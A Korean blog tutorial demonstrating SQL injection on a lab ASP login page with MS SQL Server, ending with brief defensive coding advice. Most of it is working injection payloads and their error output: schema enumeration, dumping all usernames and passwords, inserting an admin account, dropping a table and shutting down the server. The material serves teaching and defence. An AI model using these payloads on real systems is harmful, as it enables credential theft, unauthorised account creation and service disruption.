적을 알아야 대처할 수 있습니다.
이 기술을 배워서, 취약하지 않은 소프트웨어를 제작하는 능력을 기르도록 합시다.
테스트는 ASP 환경에서 실시되었지만, SQL 인젝션은 데이터베이스를 사용하는 모든 언어에서 일어날 수 있습니다. (C, C++, PHP, ASP, JSP 등등)
공격자는 SQL 인젝션 취약점을 사용하여 데이터베이스 내의 모든 정보를 추출할 수 있습니다.
테스트 환경
- OS : Windows 2000 pro
- DB : MS SQL personal
- 스크립트 언어 : ASP
login_page.html 과 process_login.asp 파일을 IIS 서버에 올리고 테스트한다.
로그인 페이지는 다음과 같다.
MS-SQL에 미리 테이블을 생성하고 값을 입력해두자.
테이블생성
1 2 3 4 5 6 | create table users( id int , username varchar (255), password varchar (25), privs int ) |
값 입력
1 2 3 4 5 6 7 | insert into users values ( 0, 'admin' , '1234' , 0xffff); insert into users values ( 0, 'guest' , 'guest' , 0x0000); insert into users values ( 0, 'chris' , 'password' , 0x00ff); insert into users values ( 0, 'fred' , 'sesame' , 0x00ff); |
공격자의 관점
이와 같은 DB 시스템에서, 공격자가 자기 자신의 계정을 만들고 싶어했을 때 users 라는 테이블의 존재나 구조를 모르면 공격이 불가능할 것이다.
우연히 맞춘다 해도, privs 라는 필드는 어떤 필드인지 확실하지 않다.
공격자에게는 다행이게도, ASP 기준 application에서는 에러가 있을 경우 그 내용을 리턴하는데 내용이 노출되면 공격자가 그것을 참고하여 데이터베이스의 구조를 파악할 수 있게 된다.
굳이 데이터베이스 구조를 파악할 필요가 없는 경우
공개 오픈소스의 경우 데이터베이스 구조가 알려져 있기 때문에,
취약점이 발견되면 본문 내용처럼 굳이 테이블명이나 필드명을 조회할 필요없이 사용자 정보를 추출할 수 있습니다.
특히 2000년 초기에 개발되고 널리 쓰인 - 많은 보안 취약점이 있는것으로 알려진 제로보드4의 경우
배포 및 유지보수가 중단된지 5년이 넘었으며(2009년 9월 25일 중지) [공지참조] , 빠른 시일내에 시스템을 교체하기를 권장합니다.
공격 1 - 테이블명 알아내기 (having)
username : ' having 1=1--
참고로
1) having절은 group by에 의한 결과를 제한할 때 사용한다. group by 에 의해 결과를 집계한 다음 having 절에 명시한 조건으로 맞지 않는 결과는 버린다.
2) -- 는 뒤에 오는 내용을 ‘single line comment(한 줄짜리 주석)로 만든다.
asp 코드를 보면
1 | select * from users where username = ' +username+ ' and password = ' +password+' |
라고 되어있다. 여기서 보라색 username, password는 사용자가 입력한 값이 들어가게 된다.
username 칸에 위와 같이 입력하면 내부적으로 완성되는 쿼리는 다음과 같다.
내부적으로 완성되는 쿼리 :
1 | select * from users where username = '' having 1=1 -- and password = '' |
-- 이하는 주석처리되므로 결국 다음과 같다.
1 | select * from users where username = '' having 1=1 -- |
이는 다음과 같은 에러를 만든다
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) [Microsoft][ODBC SQL Server Driver][SQL Server]'users.id' 열이 집계 함수에 없고 GROUP BY 절이 없으므로 SELECT 목록에서 사용할 수 없습니다. /process_login.asp, line 34
이 에러메시지를 통해 table명이 users라는 것과 첫번째 필드명이 id라는 것을 알 수 있다.
공격자는 이제 각 필드를 알아낼 차례다.
공격 2 - 필드명 알아내기 (group by)
username : ' group by users.id having 1=1--
내부적으로 완성되는 쿼리 :
1 | select * from users where username = '' group by users.id having 1=1 -- and password ='' |
이는 다음과 같은 오류를 낸다.
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) [Microsoft][ODBC SQL Server Driver][SQL Server]'users.username' 열이 집계 함수나 GROUP BY 절에 없으므로 SELECT 목록에서 사용할 수 없습니다. /process_login.asp, line 34
결국 공격자는 username을 얻는데에도 성공한다.
‘group by users.id, users.username having 1=1- 를 이용해 users.password를 알수 있고,
‘group by users.id, users.username, users.password having 1=1- 를 이용해 users.privs를 알수 있다.
이런식으로 하나씩 늘려가다보면 마침내 다음과 같이 에러를 내지 않는 쿼리를 완성하게 된다.
username : ' group by users.id, users.username, users.password, users.privs having 1=1--
이는 다음과 같은 뜻이 된다.
1 | select * from users where username = '' |
이로써, 공격자는 두 가지 사실을 알게 된다.
- 이 쿼리가 오직 users 테이블만 참조한다는 것
- users 테이블에서 id, username, password, privs 컬럼을 사용한다는 것
공격 3 - 필드 타입 알아내기 (union)
공격자는 아직 각 필드의 타입을 모른다.
타입에 대한 에러를 보기 위해 다음과 같은 공격 쿼리를 입력한다.
Username : ' union select sum(username) from users--
내부적으로 완성되는 쿼리:
1 | select * from users where username = '' union select sum (username) from users -- and password='' |
union 쿼리는 두개의 테이블에 있는 내용을 동시에 가져오는 방법이며 두테이블이 전혀 관계 없어도 가능하다.
http://blog.naver.com/mulriver?Redirect=Log&logNo=120005713026
여하튼 위의 쿼리는 sum 명령에 대하여 계산을 시도하다 다음과 같은 에러가 난다.
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07) [Microsoft][ODBC SQL Server Driver][SQL Server]sum or average aggregate 연산에서는 varchar 데이터 형식을 인수로 취할 수 없습니다. /process_login.asp, line 34
이 에러 메시지는 username 이 varchar 형임을 말해준다. 만약 varchar가 아니라 숫자형이었으면 어땠을까?
Username : ' union select sum(id) from users--
내부적으로 완성된 쿼리 :
1 | select * from username= '' union select sum (id) from users -- and password = '' |
id(numeric 타입)를 sum()으로 계산하려고 하니 다음과 같은 에러가 난다.
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) [Microsoft][ODBC SQL Server Driver][SQL Server]UNION 연산자를 포함하는 SQL 문의 모든 쿼리는 대상 목록에 동일한 개수의 식이 있어야 합니다. /process_login.asp, line 34
type conversion에 관련한 메시지가 된다. 만약 string을 integer형으로 변환시키려고 하면, string의 내용 전부가 에러 메시지로 출력되는 것이다. 이러한 기술을 이용해 어떤 table의 어떤 column이든 type 을 대략 추정할 수 있다. 이는 공격자에게 완벽한 insert문을 만들 수 있게 해준다.
공격 4 - 계정만들기 (insert)
공격 3까지에서 테이블명, 필드명, 각 타입을 알았으므로 공격자가 임의의 값을 테이블에 넣는 쿼리를 만들어 실행할 수 있다.
username : '; insert into users values(666,'attacker' , 'foobar', 0xffff)--
내부적으로 완성된 쿼리:
1 | select * from username= '' ; insert into users values (666, 'attacker' , 'foobar' , 0xffff) -- and password = '' |
세미콜론(;)있는 부분에서 select 문이 끝나고 insert 문이 실행되어, attacker의 데이터가 고스란히 db 테이블에 저장된다.
공격 5 - 버전 및 환경 알아내기 (@@version)
공격자는 database나 서버 환경에 대한 정보도 밝혀낼 수 있다. 우리 테스트 페이지에서는 SQL서버의 버전과 이것이 동작하는 OS도 알려준다.
username : ' union select @@version,1,1,1--
내부적으로 완성되는 쿼리:
1 | select * from users where username =‘’ union select @@version,1,1,1 -- and password = ‘’ |
에러메시지는 다음과 같다.
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07) [Microsoft][ODBC SQL Server Driver][SQL Server]nvarchar 값 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Personal Edition on Windows NT 5.0 (Build 2195: Service Pack 4) '을(를) int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다. /process_login.asp, line 34
이 공격은 @@version을 integer형으로 변환시키려고 시도한다. 왜냐면, users 테이블의 첫 column이 integer형이기 때문이다.
참고 ) ‘ union select 1, @@version,1, 1- 를 이용하면 정상인것처럼 출력됨
이 기술을 이용해 db의 어떤 테이블의 어떤 값이든 읽을 수 있다.
공격 6 - 계정 추출하기 (type convert error)
공격자가 username과 password에 관심이 있다면 users 테이블에서 다음과 같은 시도를 할 것이다.
Username : 'union select min(username), 1,1,1 from users where username > 'a'--
내부적으로 완성된 쿼리 :
1 | select * from users where username = '' union select min (username), 1,1,1 from users where username > 'a' -- and password ='' |
이 쿼리문은 ‘a’보다 큰 username 중 minimum(최소)값을 가져온다. 그리고 그것을 integer형으로 변환을 시도하다가 다음과 같은 에러를 발생시킨다.
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07) [Microsoft][ODBC SQL Server Driver][SQL Server]varchar 값 'admin'을(를) int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다. /process_login.asp, line 34
이로서, 공격자는 admin계정이 존재함을 알게 된다. 공격자는 where 절을 이용해 각 계정의 이름을 모두 알아낼 수 있다.
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07) [Microsoft][ODBC SQL Server Driver][SQL Server]varchar 값 'chris'을(를) int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다. /process_login.asp, line 34
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07) [Microsoft][ODBC SQL Server Driver][SQL Server]varchar 값 'fred'을(를) int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다. /process_login.asp, line 34
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07) [Microsoft][ODBC SQL Server Driver][SQL Server]varchar 값 'guest'을(를) int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다. /process_login.asp, line 34
공격 7 - 계정의 패스워드 알아내기
공격자가 username을 알아내기로 마음 먹었다면, password도 알아낼 수 있다.
Username : 'union select password,1,1,1 from users where username = 'admin'--
내부적으로 완성되는 쿼리:
1 | select * from users where username = '' union select password ,1,1,1 from users where username = 'admin' -- and password ='' |
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07) [Microsoft][ODBC SQL Server Driver][SQL Server]varchar 값 '1234'을(를) int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다. /process_login.asp, line 34
공격 8 - Transact-SQL
더 똑똑한 기술이 있다. username 과 password를 연계해 single string 으로 만들어 이를 integer형으로 변환을 시도하는 방식이다. Transact-SQL 명령어로 string을 고스란히 한라인에 쓸 수 있다.
이용하는 쿼리 :
- begin declare @ret varchar(8000)
set @ret=’:’
select @ret=@ret+’ ‘+username+’/’+password from users where
username>@ret
select @ret as ret into foo
end
이를 한 줄로 만들어 공격에 임해보자.
username : '; begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+username+'/'+password from users where username>@ret select @ret as ret into foo end--
이 결과로 ‘ret’이라는 single column을 가진 ‘foo’라는 테이블을 만들고 string을 거기 집어넣는다.
이제 공격자는 그 테이블의 string을 가져온다.
username : ' union select ret,1,1,1 from foo--
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07) [Microsoft][ODBC SQL Server Driver][SQL Server]varchar 값 ': admin/1234 guest/guest chris/password fred/sesame'을(를) int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다. /process_login.asp, line 34
모든 id와 password가 에러메시지에 한줄로 나오는 것을 볼 수 있다.
이제 이를 확인한 공격자는 깔끔하게 table을 없애거나(drop) 내용을 삭제(delete)한다.
내부적으로 완성된 쿼리 :
select * from users where username =‘’;drop table foo- and password=‘’
공격 9 - shutdown
Username : '; shutdown--
sql 서버 인스턴스를 shutdown 시킨다.
결론
위의 예제를 통해 다음의 작업이 가능함을 알 수 있었다.
- 데이터베이스 구조 파악
- 데이터베이스 저장 값 조회
- 관리자 계정 추가
- 서버 정보조회
- 데이터베이스 삭제
- 데이터베이스 종료
예제들은 sql injection 의 수박 겉핥기식의 일례일 뿐이다.
공격자가 DB로 부터 얻는 에러가 방대할수록 공격이 쉬워진다.
Advanced sql injection in SQL Server Applications 에는 웹 프로그래밍상의 방어적 코딩 방안이 나와 있다.
1. Escape single quote
‘ (외따옴표)의 escape코드를 이용
2. Reject known bad input
select, insert, delete, drop , -, ‘ 등의 있는지 검사
3. Allow only good input
abcdefg…ABCDEFG…0123456789 만 허용
Advanced sql injection In SQL Server applications (pdf)
'보안 > 웹' 카테고리의 다른 글
웹 보안에 자주사용되는 공격기법 (0) | 2015.11.20 |
---|---|
XSS(Cross Site Scripting) 공격 (0) | 2015.11.20 |
SQL 인젝션 이란? (0) | 2015.11.20 |
웹해킹 - SQL 인젝션 (0) | 2015.11.20 |
웹 어플리케이션 점검 방법 (0) | 2015.11.20 |